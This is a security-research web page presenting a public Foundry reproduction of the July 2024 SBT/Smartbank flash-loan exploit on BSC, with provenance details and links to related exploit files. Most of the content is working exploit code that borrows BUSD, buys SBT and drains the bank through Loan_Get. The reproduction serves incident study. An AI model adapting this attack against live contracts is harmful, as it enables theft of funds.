Public reproduction file
src/test/2024-07/SBT_exp.sol
Public reproduction file for dataset entry SBT.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4// @KeyInfo - Total Lost : ~56K BUSD5// TX : https://app.blocksec.com/explorer/tx/bsc/0x9a8c4c4edb7a76ecfa935780124c409f83a08d15c560bb67302182f8969be20d6// Attacker : https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce327// Attack Contract : https://bscscan.com/address/0x88f9e1799465655f0dd206093dbd08922a1d9e2810import "forge-std/Test.sol";11import "./../interface.sol";13interface Smartbank {14 function _Start() external;15 function Buy_SBT(16 uint256 _SBT_17 ) external;18 function Loan_Get(19 uint256 USDT_20 ) external;21}23contract ContractTest is Test {24 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);25 IERC20 SBT = IERC20(0x94441698165fB7e132e207800B3eA57E34c93a72);26 Smartbank Bank = Smartbank(0x2b45DD1d909c01aAd96fa6b67108D691B432f351);27 Uni_Pair_V3 Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);29 function setUp() public {30 vm.createSelectFork("bsc", 40_378_160 - 1);31 deal(address(BUSD), address(this), 1 ether);32 }34 function testExploit() public {35 emit log_named_decimal_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)), 18);36 Pool.flash(address(this), 1_950_000 ether, 0, "0x123");37 emit log_named_decimal_uint("Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), 18);38 }40 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {41 BUSD.approve(address(Bank), type(uint256).max);42 BUSD.transfer(address(Bank), 950_000 ether);43 SBT.approve(address(Bank), type(uint256).max);44 Bank._Start();45 Bank.Buy_SBT(20_000_000);46 Bank.Loan_Get(1_966_930);48 BUSD.transfer(address(Pool), 1_950_000 ether + fee0);49 }51 receive() external payable {}52}Analysis
Dataset entry
Public Foundry test for “SBT” (2024-07-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-07/DeFiPlaza_exp.solSame month in the dataset · 319 lines
- src/test/2024-07/DoughFina_exp.solSame month in the dataset · 92 lines
- src/test/2024-07/GAX_exp.solSame month in the dataset · 36 lines
- src/test/2024-07/Lifiprotocol_exp.solSame month in the dataset · 131 lines
- src/test/2024-07/LW_exp.solSame month in the dataset · 64 lines
- src/test/2024-07/MEVbot_0xdd7c_exp.solSame month in the dataset · 128 lines
- src/test/2024-07/Minterest_exp.solSame month in the dataset · 151 lines
- src/test/2024-07/MRP_exp.solSame month in the dataset · 61 lines
- src/test/2024-07/Spectra_finance_exp.solSame month in the dataset · 52 lines
- src/test/2024-07/UnverifiedContr_0x452E25_exp.solSame month in the dataset · 31 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
- Attack Contract
0x88f9e1799465655f0dd206093dbd08922a1d9e28
File record
- Name
- SBT
- Path
- src/test/2024-07/SBT_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 3aaa77054169c778014b5e17f91cd55370459124
- Language
- Solidity
- Size
- 53 lines
- Date
- 2024-07-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-07/SBT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3aaa77054169c778014b5e17f91cd55370459124, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.